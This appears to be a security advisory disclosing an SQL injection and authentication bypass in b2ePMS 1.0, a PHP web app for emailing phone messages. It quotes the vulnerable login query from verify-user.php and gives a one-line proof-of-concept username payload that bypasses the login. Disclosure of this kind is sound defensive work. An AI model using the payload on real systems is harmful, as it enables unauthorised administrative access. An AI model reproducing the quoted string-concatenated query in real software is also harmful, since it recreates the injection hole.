b2ePMS 1.0 SQL Injection

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b2ePMS 1.0 Authentication Bypass Vulnerability  
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Discovered by: Jean Pascal Pereira <[email protected]>  
  
Vendor Information:  
  
"b2ePMS stands for Browser to Email Phone Message System. It is intended to replace the standard   
paper/carbon phone message slips commonly used in offices, with the capability of sending the message  
via a web browser form directly to the recipients inbox."  
  
Vendor URI: https://developer.berlios.de/projects/b2epms/  
  
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Issue: SQL Injection, Authentication Bypass  
  
Risk level: High  
  
=> The remote attacker has the possibility to execute arbitrary SQL Code.  
  
=> The remote attacker is able to bypass the user authentication.  
  
In verify-user.php, line 20:  
  
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$sql = mysql_query("SELECT * FROM b2epms_user WHERE username='$username' AND user_passwd='$admin_passwd' AND activated='1' AND user_level='2'");  
$login_check = mysql_num_rows($sql);  
if($login_check > 0){  
while($row = mysql_fetch_array($sql)){  
foreach( $row AS $key => $val ){  
$$key = stripslashes( $val );  
}  
// Register session variables!  
session_register('userid');  
$_SESSION['userid'] = $user_level;  
mysql_query("UPDATE b2epms_user SET login_date=now() WHERE userid='$userid'"); $url = "Location: admin.php";  
header($url);  
}  
}  
  
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Exploit / Proof Of Concept:  
  
Perform a login with the following data:  
  
Username: admin' OR '1='1  
Password: x  
  
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`